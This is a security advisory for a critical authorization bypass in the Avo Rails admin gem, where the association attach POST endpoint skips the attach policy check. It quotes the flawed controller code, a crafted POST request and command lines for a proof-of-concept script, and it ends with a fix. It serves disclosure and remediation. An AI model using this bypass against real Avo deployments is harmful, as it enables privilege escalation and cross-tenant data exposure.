PT-2026-50602 · Rubygems · Avo

Published

2026-06-17

·

Updated

2026-06-17

·

CVE-2026-55518

CVSS v3.1

9.6

Critical

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary

A critical missing authorization flaw exists in Avo's association attach workflow. The UI and GET /resources/:resource/:id/:related/new path can check attach <association>?, but the actual write endpoint, POST /resources/:resource/:id/:related, does not run the same authorization check before mutating the association.
As a result, an authenticated low-privileged Avo user can bypass hidden/disabled attach controls and directly attach related records to a parent record by sending a crafted POST request. In applications where associations represent teams, tenants, roles, projects, users, memberships, ownership, or other authorization-bearing relationships, this can lead to privilege escalation and cross-tenant data exposure.

Details

The association attach route writes relationships through Avo::AssociationsController#create:
ruby
# config/routes.rb
post "/:resource name/:id/:related name", to: "associations#create", as: "associations create"
The controller registers an attach authorization callback only for new, not for create:
ruby
# app/controllers/avo/associations controller.rb
before action :set attachment record, only: [:create, :destroy]
before action :authorize index action, only: :index
before action :authorize attach action, only: :new
before action :authorize detach action, only: :destroy
The new action is only the form-rendering step. The actual mutation happens in create:
ruby
def create
 if create association
  create success action
 else
  create fail action
 end
end
create association then attaches the attacker-supplied related record to the parent:
ruby
def create association
 association name = BaseResource.valid association name(@record, association from params)

 perform action and record errors do
  if through reflection? && additional params.present?
   new join record.save
  elsif has many reflection? || through reflection?
   @record.send(association name) << @attachment record
  else
   @record.send(:"#{association name}=", @attachment record)
   @record.save!
  end
 end
end
The only attach-specific authorization helper is:
ruby
def authorize attach action
 authorize if defined "attach #{@field.id}?"
end
Because this helper is bound only to new, a policy that denies attach users?, attach teams?, attach roles?, or similar methods blocks the UI/form path but does not protect the write path.
This is inconsistent with the detach path, which does authorize the mutating destroy action:
ruby
before action :authorize detach action, only: :destroy
The bug is especially dangerous because Avo already treats association authorization as an access-control boundary in UI components:
ruby
# lib/avo/concerns/checks assoc authorization.rb
method name = :"#{policy method} #{association name}?".to sym

if service.has method?(method name, raise exception: false)
 service.authorize action(method name, record:, raise exception: false)
else
 !Avo.configuration.explicit authorization
end
However, server-side enforcement is missing on the actual attach POST endpoint.

Proof of Concept

Prerequisites:
  1. A Rails application mounts Avo, for example at /admin.
  2. Avo authorization is enabled.
  3. A low-privileged user can authenticate to Avo.
  4. A parent record and a related record are both reachable by ID.
  5. The relevant policy denies attaching the relationship, for example:
ruby
def attach users?
 false
end
Example target scenario:
  • Parent resource: projects
  • Parent ID: 1
  • Related association: users
  • Related user ID to attach: 42
  • Expected policy: low-privileged users must not be able to attach users to projects.
The UI/form request may be blocked:
http
GET /admin/resources/projects/1/users/new
But the direct write endpoint can still be invoked:
http
POST /admin/resources/projects/1/users
Content-Type: application/x-www-form-urlencoded

authenticity token=<CSRF>&fields[related id]=42
Run the attached PoC:
bash
python poc avo association attach bypass.py 
 --base-url http://localhost:3000 
 --avo-root /admin 
 --cookie " app session=<LOW PRIVILEGED SESSION COOKIE>" 
 --parent-resource projects 
 --parent-id 1 
 --related-name users 
 --related-id 42 
 --check-new
If GET /new is forbidden or redirected but the direct POST succeeds, the authorization bypass is confirmed.
To perform the actual attach:
bash
python poc avo association attach bypass.py 
 --base-url http://localhost:3000 
 --avo-root /admin 
 --cookie " app session=<LOW PRIVILEGED SESSION COOKIE>" 
 --parent-resource projects 
 --parent-id 1 
 --related-name users 
 --related-id 42 
 --confirm-attach
Expected vulnerable result:
  • The low-privileged user can attach the related record despite attach <association>? being denied.
  • The parent record now includes the related record.

Impact

This vulnerability allows unauthorized relationship manipulation through Avo.
Depending on the affected association, the impact can include:
  • Privilege escalation by attaching a user to an admin group, privileged project, tenant, organization, role, or membership record.
  • Cross-tenant data exposure when tenant/user/project membership determines record visibility.
  • Integrity loss by changing ownership, assignment, access-control relationships, or business workflow state.
  • Policy bypass even when Avo UI controls correctly hide the attach button or deny the attach form.

Recommended Fix

Enforce attach authorization on the mutating endpoint.
At minimum:
ruby
before action :authorize attach action, only: [:new, :create]
Additionally:
  1. Authorize against the parent record and the selected related record before writing the relationship.
  2. Ensure create fails closed when attach <association>? is missing and explicit authorization is enabled.
  3. Add regression tests that directly POST to /resources/:resource name/:id/:related name while attach <association>? returns false.
  4. Verify has many, has one, has many :through, and has and belongs to many association paths all enforce the same server-side authorization.

Fix

IDOR

Incorrect Authorization

Missing Authorization

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-55518
GHSA-8FQ9-273G-6MRG

Affected Products

Avo